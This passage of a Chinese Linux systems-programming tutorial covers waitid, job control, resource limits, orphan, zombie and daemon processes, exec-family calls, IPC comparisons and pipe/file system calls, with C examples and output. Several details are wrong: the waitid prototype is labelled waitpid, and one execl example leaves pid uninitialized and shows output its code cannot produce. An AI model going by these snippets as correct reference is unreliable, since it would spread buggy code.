#include<stdio.h> #include<unistd.h> #include<sys/types.h> #include<sys/wait.h> int main() { int pid; int pids[3]; int status; int numprocesses = 0; int total_processes = 3; while (numprocesses < total_processes) { pid = fork(); // Child process if (pid == 0) { printf("In child process: process id is %d\n", getpid()); sleep(5); return 4; } else { pids[numprocesses] = pid; numprocesses++; printf("In parent process: created process number: %d\n", pid); } } // Waiting for 3rd child process waitpid(pids[total_processes - 1], &status, 0); if (WIFEXITED(status) != 0) { printf("process %d exited normally\n", pids[total_processes - 1]); printf("exit status from child is %d\n", WEXITSTATUS(status)); } else { printf("process %d not exited normally\n", pids[total_processes - 1]); } return 0; }
编译和执行后,输出如下。
In child process: process id is 32528 In parent process: created process number: 32528 In child process: process id is 32529 In parent process: created process number: 32528 In parent process: created process number: 32529 In child process: process id is 32530 In parent process: created process number: 32528 In parent process: created process number: 32529 In parent process: created process number: 32530 process 32530 exited normally exit status from child is 4
现在,让我们检查waitid()系统调用。此系统调用等待子进程更改状态。
#include <sys/wait.h> int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
上述系统调用等待子进程更改状态,并且此调用挂起当前/调用进程,直到其任何子进程更改其状态。参数‘infop’用于记录子进程的当前状态。如果进程已经更改了其状态,则此调用会立即返回。
idtype的值可以是以下之一 -
P_PID - 等待任何进程ID等于id的子进程。
P_PGID - 等待任何进程组ID等于id的子进程。
P_ALL - 等待任何子进程,并且忽略id。
options参数用于指定哪些状态更改,并且可以使用按位OR运算与以下提到的标志一起形成 -
WCONTINUED - 返回任何已停止并已继续的子进程的状态。
WEXITED - 等待进程退出。
WNOHANG - 立即返回。
WSTOPPED - 等待已停止的任何子进程的进程,在收到信号后返回状态。
如果此调用由于其子进程之一的状态更改而返回并且使用了WNOHANG,则返回0。如果发生错误,则返回-1并设置相应的错误号。
/* 文件名:waitid_test.c */
#include<stdio.h> #include<unistd.h> #include<sys/types.h> #include<sys/wait.h> int main() { int pid; int pids[3]; int status; int numprocesses = 0; int total_processes = 3; siginfo_t siginfo; while (numprocesses < total_processes) { pid = fork(); // Child process if (pid == 0) { printf("In child process: process id is %d\n", getpid()); sleep(5); return 2; } else { pids[numprocesses] = pid; numprocesses++; printf("In parent process: created process number: %d\n", pid); } } // Waiting for 3rd child process status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED); if (status == -1) { perror("waitid error"); return 1; } printf("Info received from waitid is: "); printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid); return 0; }
执行并编译上述程序后,结果如下。
In child process: process id is 35390 In parent process: created process number: 35390 In child process: process id is 35391 In parent process: created process number: 35390 In parent process: created process number: 35391 In child process: process id is 35392 In parent process: created process number: 35390 In parent process: created process number: 35391 In parent process: created process number: 35392 Info received from waitid is: PID of child: 35392, real user id of child: 4581875
进程组、会话和作业控制
在本章中,我们将熟悉进程组、会话和作业控制。
进程组 - 进程组是一个或多个进程的集合。进程组由一个或多个共享相同进程组标识符(PGID)的进程组成。进程组ID(PGID)与进程ID具有相同的类型(pid_t)。进程组有一个进程组组长,它是创建该组的进程,其进程ID成为该组的进程组ID。
会话 - 它是各种进程组的集合。
作业控制 - 这允许shell用户同时执行多个命令(或作业),一个在前台,其余所有在后台。也可以将作业从前台移动到后台,反之亦然。
让我们借助使用shell(BASH)的示例程序来理解这一点。
执行基本命令(date、echo、sleep和cal)的shell脚本(在BASH中),名为basic_commands.sh
执行基本命令(ps、echo)的shell脚本(在BASH中)
#!/bin/bash #basic_commands.sh date echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth" sleep 250 cal
#!/bin/bash #process_status.sh ps echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth" sleep 200 ps
使用chmod命令授予文件执行权限。默认情况下,普通文件只会获得读写权限,而不会获得执行权限。
要停止当前正在运行的进程,您需要输入CTRL+Z。这会为您提供一个作业号。作业可以在前台或后台恢复。如果需要,要在前台恢复作业,请使用‘fg’命令。如果需要,要将作业恢复到后台,请使用‘bg’命令。通过使用此命令,它只会运行最后一个停止的进程。如果我们想启动除最后一个停止的进程之外的其他进程怎么办?只需在fg或bg之后使用作业号(例如bg %2或bg %3等)。如果正在运行的作业在后台,则可以在前台运行任何其他任务。要获取作业列表,请使用命令jobs。也可以使用CTRL+C或kill命令终止进程。在使用kill命令时,可以传递作业号。
检查以下输出,它演示了停止作业、将作业从前台移动到后台以及反之亦然、终止作业等。
chmod u+x basic_commands.sh chmod u+x process_status.sh ./basic_commands.sh Wed Jul 5 18:30:27 IST 2017 Now sleeping for 250 seconds, so that testing job control functionality is smooth ^Z [1]+ Stopped ./basic_commands.sh ./process_status.sh PID TTY TIME CMD 2295 pts/1 00:00:00 bash 4222 pts/1 00:00:00 basic_commands. 4224 pts/1 00:00:00 sleep 4225 pts/1 00:00:00 process_status. 4226 pts/1 00:00:00 ps Now sleeping for 200 seconds, so that testing job control functionality is smooth ^Z [2]+ Stopped ./process_status.sh jobs [1]- Stopped ./basic_commands.sh [2]+ Stopped ./process_status.sh fg ./process_status.sh ^Z [2]+ Stopped ./process_status.sh fg %2 ./process_status.sh ^Z [2]+ Stopped ./process_status.sh fg %1 ./basic_commands.sh ^Z [1]+ Stopped ./basic_commands.sh jobs [1]+ Stopped ./basic_commands.sh [2]- Stopped ./process_status.sh bg %2 [2]- ./process_status.sh & fg ./basic_commands.sh ^Z [1]+ Stopped ./basic_commands.sh jobs [1]+ Stopped ./basic_commands.sh [2]- Running ./process_status.sh & fg %2 ./process_status.sh ^Z [2]+ Stopped ./process_status.sh jobs [1]- Stopped ./basic_commands.sh [2]+ Stopped ./process_status.sh kill %1 %2 [1]- Stopped ./basic_commands.sh [2]+ Stopped ./process_status.sh [1]- Terminated ./basic_commands.sh [2]+ Terminated ./process_status.sh
进程资源
进程需要某些资源(例如CPU和内存)来执行任务。现在我们将研究相关的命令和系统调用,以了解有关资源利用率和监控的信息。此外,每个进程在资源上默认具有一定的限制,如果需要,可以增强这些限制以适应应用程序的要求。
以下是使用命令获取基本系统或进程资源信息 -
top命令
$ top
top命令持续显示系统资源的使用情况。如果任何进程使系统处于某种挂起状态(消耗过多的CPU或内存),则可以记下进程信息并采取适当的操作(例如杀死相关进程)。
ps命令
$ ps
ps命令提供有关所有正在运行的进程的信息。这有助于监控和控制进程。
vmstat命令
$ vmstat
vmstat命令报告虚拟内存子系统的统计信息。它报告进程(等待运行、休眠、可运行进程等)、内存(虚拟内存信息,如空闲、已用等)、交换区、IO设备、系统信息(中断次数、上下文切换)和CPU(用户、系统和空闲时间)的信息。
lsof命令
$ lsof
lsof命令打印所有当前正在运行的进程(包括系统进程)的打开文件的列表。
getconf命令
$ getconf –a
getconf命令显示系统配置变量信息。
现在,让我们看看相关的系统调用。
系统调用getrusage(),它提供有关系统资源使用情况的信息。
与访问和设置资源限制相关的系统调用,即getrlimit()、setrlimit()、prlimit()。
系统资源使用调用
#include <sys/time.h> #include <sys/resource.h> int getrusage(int who, struct rusage *usage);
系统调用getrusage()返回有关系统资源使用情况的信息。这可能包括有关自身、子进程或使用标志RUSAGE_SELF、RUSAGE_CHILDREN、RUSAGE_THREAD的调用线程的信息,用于“who”变量。调用后,它在结构rusage中返回信息。
此调用在成功时返回“0”,在失败时返回“-1”。
让我们看看以下示例程序。
/* 文件名:sysinfo_getrusage.c */
#include<stdio.h> #include<sys/time.h> #include<sys/resource.h> void main(void) { struct rusage res_usage; int retval; retval = getrusage(RUSAGE_SELF, &res_usage); if (retval == -1) { perror("getrusage error"); return; } printf("Details of getrusage:\n"); printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec); printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec); printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss); printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt); printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt); printf("Block input operations via file system is %ld\n", res_usage.ru_inblock); printf("Block output operations via file system is %ld\n", res_usage.ru_oublock); printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw); printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw); return; }
编译和执行步骤
Details of getrusage: User CPU time (seconds) is 0 User CPU time (micro seconds) is 0 Maximum size of resident set (kb) is 364 Soft page faults (I/O not required) is 137 Hard page faults (I/O not required) is 0 Block input operations via file system is 0 Block output operations via file system is 0 Voluntary context switches are 0 Involuntary context switches are 1
现在让我们看看与访问和设置资源限制相关的系统调用。
#include <sys/time.h> #include <sys/resource.h> int getrlimit(int resource, struct rlimit *rlim); int setrlimit(int resource, const struct rlimit *rlim); int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);
系统调用getrlimit()通过输入所需资源(例如RLIMIT_NOFILE、RLIMIT_NPROC、RLIMIT_STACK等)在结构rlimit中获取资源限制。
系统调用setrlimit()设置在rlimit结构中提到的资源限制,只要在限制范围内。
系统调用prlimit()用于各种目的,例如检索当前资源限制或将资源限制更新为新值。
结构rlimit包含两个值 -
软限制 - 当前限制
硬限制 - 可以扩展到的最大限制。
RLIMIT_NOFILE - 返回此进程可以打开的文件描述符的最大数量。例如,如果它返回1024,则该进程的文件描述符从0到1023。
RLIMIT_NPROC - 可以为该进程的用户创建的进程的最大数量。
RLIMIT_STACK - 该进程的堆栈段的最大大小(以字节为单位)。
所有这些调用在成功时返回“0”,在失败时返回“-1”。
让我们考虑以下示例,其中我们使用getrlimit()系统调用。
/* 文件名: sysinfo_getrlimit.c */
#include<stdio.h> #include<sys/time.h> #include<sys/resource.h> void main(void) { struct rlimit res_limit; int retval; int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK}; int max_res; int counter = 0; printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n"); max_res = sizeof(resources)/sizeof(int); while (counter < max_res) { retval = getrlimit(resources[counter], &res_limit); if (retval == -1) { perror("getrlimit error"); return; } printf("Soft Limit is %ld\n", res_limit.rlim_cur); printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max); counter++; } return; }
编译和执行步骤
Details of resource limits for NOFILE, NPROC, STACK are as follows: Soft Limit is 516 Hard Limit (ceiling) is 516 Soft Limit is 256 Hard Limit (ceiling) is 256 Soft Limit is 33554432 Hard Limit (ceiling) is 33554432
让我们考虑另一个使用 getrlimit() 系统调用的例子,但这次使用 prlimit() 系统调用。
/* 文件名: sysinfo_prlimit.c */
#include<stdio.h> #include<unistd.h> #include<sys/time.h> #include<sys/resource.h> void main(void) { struct rlimit res_limit; int retval; int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK}; int max_res; int counter = 0; printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n"); max_res = sizeof(resources)/sizeof(int); while (counter < max_res) { retval = prlimit(getpid(), resources[counter], NULL, &res_limit); if (retval == -1) { perror("prlimit error"); return; } printf("Soft Limit is %ld\n", res_limit.rlim_cur); printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max); counter++; } return; }
编译和执行步骤
Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: Soft Limit is 516 Hard Limit (ceiling) is 516 Soft Limit is 256 Hard Limit (ceiling) is 256 Soft Limit is 33554432 Hard Limit (ceiling) is 33554432
其他进程
到目前为止,我们已经讨论了进程、进程的创建、父进程和子进程等。如果不讨论其他相关的进程,例如孤儿进程、僵尸进程和守护进程,那么讨论将是不完整的。
孤儿进程
顾名思义,孤儿意味着没有父进程的进程。当我们运行一个程序或应用程序时,应用程序的父进程是 shell。当我们使用 fork() 创建一个进程时,新创建的进程是子进程,创建子进程的进程是父进程。反过来,它的父进程是 shell。当然,所有进程的父进程都是 init 进程(进程 ID → 1)。
以上是一个常见的情况,但是,如果父进程在子进程之前退出会发生什么?结果是,子进程现在变成了孤儿进程。那么它的父进程呢?它的新父进程是所有进程的父进程,也就是 init 进程(进程 ID – 1)。
让我们尝试使用以下示例来理解这一点。
/* 文件名: orphan_process.c */
#include<stdio.h> #include<stdlib.h> int main() { int pid; system("ps -f"); pid = fork(); if (pid == 0) { printf("Child: pid is %d and ppid is %d\n",getpid(),getppid()); sleep(5); printf("Child: pid is %d and ppid is %d\n",getpid(),getppid()); system("ps -f"); } else { printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid()); sleep(2); exit(0); } return 0; }
编译和执行步骤
UID PID PPID C STIME TTY TIME CMD 4581875 180558 0 0 09:19 ? 00:00:00 sh -c cd /home/cg/root/4581875; timeout 10s main 4581875 180564 180558 0 09:19 ? 00:00:00 timeout 10s main 4581875 180565 180564 0 09:19 ? 00:00:00 main 4581875 180566 180565 0 09:19 ? 00:00:00 ps -f Parent: pid is 180565 and ppid is 180564 UID PID PPID C STIME TTY TIME CMD 4581875 180567 0 0 09:19 ? 00:00:00 main 4581875 180820 180567 0 09:19 ? 00:00:00 ps -f Child: pid is 180567 and ppid is 180565 Child: pid is 180567 and ppid is 0
僵尸进程
简单来说,假设您有两个进程,即父进程和子进程。父进程有责任等待子进程,然后从进程表中清理子进程的条目。如果父进程还没有准备好等待子进程,而子进程在此期间完成了其工作并退出会怎样?现在,子进程将成为僵尸进程。当然,在父进程准备好后,僵尸进程会被清理掉。
让我们借助一个例子来理解这一点。
/* 文件名: zombie_process.c */
#include<stdio.h> #include<stdlib.h> int main() { int pid; pid = fork(); if (pid == 0) { system("ps -f"); printf("Child: pid is %d and ppid is %d\n",getpid(),getppid()); exit(0); } else { printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid()); sleep(10); system("ps aux|grep Z"); } return 0; }
编译和执行步骤
UID PID PPID C STIME TTY TIME CMD 4581875 184946 0 0 09:20 ? 00:00:00 sh -c cd /home/cg/root/4581875; timeout 10s main 4581875 184952 184946 0 09:20 ? 00:00:00 timeout 10s main 4581875 184953 184952 0 09:20 ? 00:00:00 main 4581875 184954 184953 0 09:20 ? 00:00:00 main 4581875 184955 184954 0 09:20 ? 00:00:00 ps -f Child: pid is 184954 and ppid is 184953
守护进程
简单来说,没有关联的 shell 或终端的进程称为守护进程。为什么需要它?这些进程在后台运行,以预定义的间隔执行操作,并响应某些事件。守护进程不应该有任何用户交互,因为它作为后台进程运行。
内部 Linux 守护进程通常以字母“d”结尾,例如内核守护进程(ksoftirqd、kblockd、kswapd 等)、打印守护进程(cupsd、lpd 等)、文件服务守护进程(smbd、nmbd 等)、管理数据库守护进程(ypbind、ypserv 等)、电子邮件守护进程(sendmail、popd、smtpd 等)、远程登录和命令执行守护进程(sshd、in.telnetd 等)、引导和配置守护进程(dhcpd、udevd 等)、init 进程(init)、cron 守护进程、atd 守护进程等。
现在让我们看看如何创建一个守护进程。以下是步骤 -
步骤 1 - 创建一个子进程。现在我们有两个进程 - 父进程和子进程
通常进程层次结构为 SHELL → 父进程 → 子进程
步骤 2 - 通过退出终止父进程。子进程现在成为孤儿进程,并由 init 进程接管。
现在,层次结构为 INIT 进程 → 子进程
步骤 3 - 调用 setsid() 系统调用创建一个新会话,如果调用进程不是进程组组长。现在调用进程成为新会话的组长。此进程将是此新进程组和此新会话中的唯一进程。
步骤 4 - 将进程组 ID 和会话 ID 设置为调用进程的 PID。
步骤 5 - 关闭进程的默认文件描述符(标准输入、标准输出和标准错误),因为终端和 shell 现在与应用程序断开连接。
/* 文件名: daemon_test.c */
#include<stdio.h> #include<sys/types.h> #include<sys/stat.h> #include<unistd.h> #include<fcntl.h> #include<stdlib.h> #include<string.h> int main(int argc, char *argv[]) { pid_t pid; int counter; int fd; int max_iterations; char buffer[100]; if (argc < 2) max_iterations = 5; else { max_iterations = atoi(argv[1]); if ( (max_iterations <= 0) || (max_iterations > 20) ) max_iterations = 10; } pid = fork(); // Unable to create child process if (pid < 0) { perror("fork error\n"); exit(1); } // Child process if (pid == 0) { fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644); if (fd == -1) { perror("daemon txt file open error\n"); return 1; } printf("Child: pid is %d and ppid is %d\n", getpid(), getppid()); printf("\nChild process before becoming session leader\n"); sprintf(buffer, "ps -ef|grep %s", argv[0]); system(buffer); setsid(); printf("\nChild process after becoming session leader\n"); sprintf(buffer, "ps -ef|grep %s", argv[0]); system(buffer); close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); } else { printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid()); printf("Parent: Exiting\n"); exit(0); } // Executing max_iteration times for (counter = 0; counter < max_iterations; counter++) { sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid()); write(fd, buffer, strlen(buffer)); sleep(2); } strcpy(buffer, "Done\n"); write(fd, buffer, strlen(buffer)); // Can't print this as file descriptors are already closed printf("DoneDone\n"); close(fd); return 0; }
Parent: pid is 193524 and ppid is 193523 Parent: Exiting 4581875 193525 0 0 09:23 ? 00:00:00 main 4581875 193526 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main 4581875 193528 193526 0 09:23 ? 00:00:00 grep main 4581875 193525 0 0 09:23 ? 00:00:00 main 4581875 193529 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main 4581875 193531 193529 0 09:23 ? 00:00:00 grep main
覆盖进程映像
假设我们正在运行一个程序,并且我们希望从当前程序运行另一个程序。这可能吗?为什么不行,如果我们实现进程映像覆盖的概念。这很好,但是当前正在运行的程序呢,它还能运行吗?这怎么可能,因为我们用新程序覆盖了当前程序。如果我想运行这两个程序而不丢失当前正在运行的程序,该怎么办?可能吗?是的,这可能。
创建一个子进程,以便我们拥有一个父进程和一个新创建的子进程。我们已经在父进程中运行了当前程序,因此在新创建的子进程中运行它。这样,我们就可以从当前程序运行另一个程序。不仅可以运行单个程序,还可以通过创建多个子进程从当前程序运行任意数量的程序。
让我们考虑以下程序作为示例。
/* 文件名: helloworld.c */
#include<stdio.h> void main() { printf("Hello World\n"); return; }
/* 文件名: execl_test.c */
#include<stdio.h> #include<unistd.h> void main() { execl("./helloworld", "./helloworld", (char *)0); printf("This wouldn't print\n"); return; }
上面的程序将覆盖 execl_test 的进程映像为 helloworld。这就是为什么 execl_test 的进程映像代码 (printf()) 没有执行的原因。
编译和执行步骤
Hello World
现在,我们将从一个程序运行以下两个程序,即 execl_run_two_prgms.c。
Hello World 程序 (helloworld.c)
打印 1 到 10 的 while 循环程序 (while_loop.c)
/* 文件名: while_loop.c */
/* Prints numbers from 1 to 10 using while loop */ #include<stdio.h> void main() { int value = 1; while (value <= 10) { printf("%d\t", value); value++; } printf("\n"); return; }
以下程序用于运行两个程序(一个程序来自子进程,另一个程序来自父进程)。
/* 文件名: execl_run_two_prgms.c */
#include<stdio.h> #include<unistd.h> void main() { int pid; pid = fork(); /* Child process */ if (pid == 0) { printf("Child process: Running Hello World Program\n"); execl("./helloworld", "./helloworld", (char *)0); printf("This wouldn't print\n"); } else { /* Parent process */ sleep(3); printf("Parent process: Running While loop Program\n"); execl("./while_loop", "./while_loop", (char *)0); printf("Won't reach here\n"); } return; }
注意 - 放置 sleep() 调用以确保子进程和父进程按顺序运行(不要重叠结果)。
编译和执行步骤
Child process: Running Hello World Program This wouldn't print Parent process: Running While loop Program Won't reach here
现在我们将从一个程序运行两个程序,即 execl_run_two_prgms.c,与上面相同的程序,但使用命令行参数。因此,我们在子进程中运行两个程序,即 helloworld.c,在父进程中运行程序 while_loop.c。如下所示 -
Hello World 程序 (helloworld.c)
根据命令行参数打印 1 到 num_times_str 的 while 循环程序 (while_loop.c)
此程序主要执行以下操作 -
创建一个子进程
子进程执行 helloworld.c 程序
父进程执行 while_loop.c 程序,并将命令行参数值作为参数传递给程序。如果未传递命令行参数,则默认为 10。否则,它将采用给定的参数值。参数值应为数字;如果以字母形式给出,则代码不会进行验证。
/* 文件名: execl_run_two_prgms.c */
#include<stdio.h> #include<string.h> #include<unistd.h> void main(int argc, char *argv[0]) { int pid; int err; int num_times; char num_times_str[5]; /* In no command line arguments are passed, then loop maximum count taken as 10 */ if (argc == 1) { printf("Taken loop maximum as 10\n"); num_times = 10; sprintf(num_times_str, "%d", num_times); } else { strcpy(num_times_str, argv[1]); printf("num_times_str is %s\n", num_times_str); pid = fork(); } /* Child process */ if (pid == 0) { printf("Child process: Running Hello World Program\n"); err = execl("./helloworld", "./helloworld", (char *)0); printf("Error %d\n", err); perror("Execl error: "); printf("This wouldn't print\n"); } else { /* Parent process */ sleep(3); printf("Parent process: Running While loop Program\n"); execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0); printf("Won't reach here\n"); } return; }
以下是 execl_run_two_prgms.c 程序的子进程调用的 helloworld.c 程序。
/* 文件名: helloworld.c */
#include<stdio.h> void main() { printf("Hello World\n"); return; }
以下是 execl_run_two_prgms.c 程序的父进程调用的 while_loop.c 程序。此程序的参数从运行它的程序(即 execl_run_two_prgms.c)传递。
/* 文件名: while_loop.c */
#include<stdio.h> void main(int argc, char *argv[]) { int start_value = 1; int end_value; if (argc == 1) end_value = 10; else end_value = atoi(argv[1]); printf("Argv[1] is %s\n", argv[1]); while (start_value <= end_value) { printf("%d\t", start_value); start_value++; } printf("\n"); return; }
编译和执行步骤
Taken loop maximum as 10 num_times_str is 10 Child process: Running Hello World Program Hello World Parent process: Running While loop Program Argv[1] is 10 1 2 3 4 5 6 7 8 9 10 Taken loop maximum as 15 num_times_str is 15 Child process: Running Hello World Program Hello World Parent process: Running While loop Program Argv[1] is 15 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
现在让我们看看与覆盖映像相关的库函数。
#include<unistd.h> int execl(const char *path, const char *arg, ...);
此函数将用参数、路径和 arg 中提到的新进程覆盖当前正在运行的进程映像。如果需要将任何参数传递给新的进程映像,则将通过“arg”参数发送,最后一个参数应为 NULL。
此函数仅在发生错误时才会返回值。进程覆盖映像相关的调用如下所示 -
int execl(const char *path, const char *arg, ...); int execlp(const char *file, const char *arg, ...); int execle(const char *path, const char *arg, ..., char * const envp[]); int execv(const char *path, char *const argv[]); int execvp(const char *file, char *const argv[]); int execvpe(const char *file, char *const argv[], char *const envp[]);
这些调用将解决传递命令行参数 (argv[])、环境变量 (envp[]) 和其他参数的问题。
相关系统调用 (System V)
下表列出了各种系统调用及其描述。
类别 | 系统调用 | 描述 |
---|---|---|
通用 | open () | 此系统调用要么打开一个已存在的文件,要么创建并打开一个新文件。 |
通用 | creat () | 创建并打开一个新文件。 |
通用 | read () | 将文件内容读取到所需的缓冲区中。 |
通用 | write () | 将缓冲区内容写入文件。 |
通用 | close () | 关闭文件描述符。 |
通用 | stat () | 提供有关文件的信息。 |
管道 | pipe () | 创建用于通信的管道,返回两个用于读写文件描述符。 |
命名管道或 FIFO | mknod () | 创建内存设备文件或特殊文件以创建 FIFO |
命名管道或 FIFO | mkfifo () | 创建一个新的 FIFO |
共享内存 | shmget () | 创建一个新的共享内存段或获取现有段的标识符。 |
共享内存 | shmat () | 附加共享内存段,并将段作为调用进程虚拟内存的一部分。 |
共享内存 | shmdt () | 分离共享内存段。 |
共享内存 | shmctl () | 对共享内存执行控制操作。共享内存的一些通用控制操作是删除共享内存段 (IPC_RMID)、接收共享内存的信息 (IPC_STAT) 和更新现有共享内存的新值 (IPC_SET)。 |
消息队列 | msgget () | 创建一个新的消息队列或访问一个已存在的消息队列,并获取句柄或标识符以执行与消息队列相关的操作,例如向队列发送消息和从队列接收消息。 |
消息队列 | msgsnd () | 将消息发送到所需的消息队列,并带有所需的标识号。 |
消息队列 | msgrcv () | 从消息队列接收消息。默认情况下,这是一个无限等待操作,这意味着调用将被阻塞,直到它收到消息。 |
消息队列 | msgctl () | 对消息队列执行控制操作。消息队列的一些通用控制操作是删除消息队列 (IPC_RMID)、接收消息队列的信息 (IPC_STAT) 和更新现有消息队列的新值 (IPC_SET)。 |
信号量 | semget () | 创建一个新的信号量或获取现有信号量的标识符。信号量用于在对同一对象进行操作的各种 IPC 之间执行同步。 |
信号量 | semop () | 对信号量值执行信号量操作。基本信号量操作是获取或释放信号量上的锁。 |
信号量 | semctl () | 对信号量执行控制操作。信号量的一些通用控制操作是删除信号量 (IPC_RMID)、接收信号量的信息 (IPC_STAT) 和更新现有信号量的新值 (IPC_SET)。 |
信号 | signal () | 设置信号(信号编号)和信号处理程序的处理方式。换句话说,注册在引发该信号时执行的例程。 |
信号 | sigaction () | 与 signal() 相同,设置信号的处理方式,即在收到注册信号后根据注册信号处理程序执行某些操作。此系统调用支持对 signal() 的更精细控制,例如阻塞某些信号、在调用信号处理程序后将信号操作恢复为默认状态、提供诸如用户和系统消耗的时间、发送进程的进程 ID 等信息。 |
内存映射 | mmap () | 将文件映射到内存中。一旦映射到内存中,访问文件就像使用地址访问数据一样简单,并且以这种方式,调用不像系统调用那样昂贵。 |
内存映射 | munmap () | 从内存中取消映射已映射的文件。 |
System V & Posix
下表列出了 System V IPC 和 POSIX IPC 之间的区别。
SYSTEM V | POSIX |
---|---|
AT & T 在 1983 年引入了三种新的 IPC 设施,即消息队列、共享内存和信号量。 | IEEE 指定的可移植操作系统接口标准,用于定义应用程序编程接口 (API)。POSIX 涵盖了所有三种形式的 IPC。 |
SYSTEM V IPC 涵盖所有 IPC 机制,例如管道、命名管道、消息队列、信号、信号量和共享内存。它还涵盖套接字和 Unix 域套接字。 | 几乎所有基本概念都与 System V 相同。它仅在接口方面有所不同。 |
共享内存接口调用 shmget()、shmat()、shmdt()、shmctl() | 共享内存接口调用 shm_open()、mmap()、shm_unlink() |
消息队列接口调用 msgget()、msgsnd()、msgrcv()、msgctl() | 消息队列接口调用 mq_open()、mq_send()、mq_receive()、mq_unlink() |
信号量接口调用 semget()、semop()、semctl() | 信号量接口调用 命名信号量 sem_open()、sem_close()、sem_unlink()、sem_post()、sem_wait()、sem_trywait()、sem_timedwait()、sem_getvalue() 无名或基于内存的信号量 sem_init()、sem_post()、sem_wait()、sem_getvalue()、sem_destroy() |
使用键和标识符来识别 IPC 对象。 | 使用名称和文件描述符来识别 IPC 对象。 |
不适用 | 可以使用 select()、poll() 和 epoll API 监视 POSIX 消息队列。 |
提供 msgctl() 调用。 | 提供函数(mq_getattr() 和 mq_setattr())来访问或设置属性 11. IPC - System V & POSIX |
不适用 | 多线程安全。涵盖线程同步函数,例如互斥锁、条件变量、读写锁等。 |
不适用 | 为消息队列提供了一些通知功能(例如 mq_notify())。 |
需要使用系统调用(例如 shmctl())、命令(ipcs、ipcrm)来执行状态/控制操作。 | 可以使用系统调用(例如 fstat()、fchmod())检查和操作共享内存对象。 |
System V 共享内存段的大小在创建时(通过 shmget())固定。 | 我们可以使用 ftruncate() 调整底层对象的大小,然后使用 munmap() 和 mmap()(或 Linux 特定的 mremap())重新创建映射。 |
进程间通信 - 管道
管道是两个或多个相关或相互关联的进程之间的一种通信媒介。它可以存在于一个进程内,也可以是子进程和父进程之间的通信。通信也可以是多级的,例如父进程、子进程和孙进程之间的通信等。通信是通过一个进程写入管道,另一个进程从管道读取来实现的。要实现管道系统调用,需要创建两个文件,一个用于写入文件,另一个用于从文件读取。
管道机制可以通过一个真实的场景来理解,例如用管道往某个容器(比如水桶)里灌水,然后有人(比如用杯子)取水。灌水的过程就是往管道里写,取水的过程就是从管道里读。这意味着一个输出(水)是另一个的输入(水桶)。
#include<unistd.h> int pipe(int pipedes[2]);
此系统调用将创建一个用于单向通信的管道,即它创建两个描述符,第一个连接到从管道读取,另一个连接到写入管道。
描述符 pipedes[0] 用于读取,pipedes[1] 用于写入。写入 pipedes[1] 的任何内容都可以从 pipedes[0] 读取。
此调用在成功时返回零,在失败时返回 -1。要了解失败的原因,请检查 errno 变量或 perror() 函数。
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int open(const char *pathname, int flags); int open(const char *pathname, int flags, mode_t mode);
即使文件的基本操作是读取和写入,在执行操作之前打开文件并在完成所需操作后关闭文件也是必要的。通常,每个进程默认打开 3 个描述符,分别用于输入(标准输入 - stdin)、输出(标准输出 - stdout)和错误(标准错误 - stderr),文件描述符分别为 0、1 和 2。
此系统调用将返回一个文件描述符,用于进一步执行读取/写入/查找(lseek)文件操作。通常,文件描述符从 3 开始,并随着打开的文件数量增加 1。
传递给 open 系统调用的参数是路径名(相对路径或绝对路径)、标志(说明打开文件的目的,例如,以只读方式打开,O_RDONLY,以写入方式打开,O_WRONLY,以读写方式打开,O_RDWR,追加到现有文件 O_APPEND,创建文件,如果不存在则使用 O_CREAT 等)和所需的模式,提供用户或所有者/组/其他用户的读/写/执行权限。模式可以使用符号表示。
读取 - 4,写入 - 2,执行 - 1。
例如:八进制值(以 0 开头),0764 表示所有者具有读、写和执行权限,组具有读和写权限,其他用户具有读权限。这也可以表示为 S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH,这意味着 0700|0040|0020|0004 → 0764 的或运算。
此系统调用在成功时返回新的文件描述符 ID,在错误时返回 -1。错误的原因可以使用 errno 变量或 perror() 函数识别。
#include<unistd.h> int close(int fd)
上述系统调用关闭已打开的文件描述符。这意味着该文件不再使用,并且关联的资源可以被任何其他进程重用。此系统调用在成功时返回零,在错误时返回 -1。错误的原因可以使用 errno 变量或 perror() 函数识别。
#include<unistd.h> ssize_t read(int fd, void *buf, size_t count)
上述系统调用是从指定文件读取,参数为文件描述符 fd、分配了内存的正确缓冲区(静态或动态)以及缓冲区的大小。
文件描述符 ID 用于识别相应的文件,该文件描述符在调用 open() 或 pipe() 系统调用后返回。在从文件读取之前,需要打开该文件。在调用 pipe() 系统调用时,它会自动打开。
此调用在成功时返回读取的字节数(或在遇到文件结尾时返回零),在失败时返回 -1。返回的字节数可能小于请求的字节数,如果数据不可用或文件已关闭,则会出现这种情况。如果失败,则会在适当的位置设置错误编号。
要了解失败的原因,请检查 errno 变量或 perror() 函数。
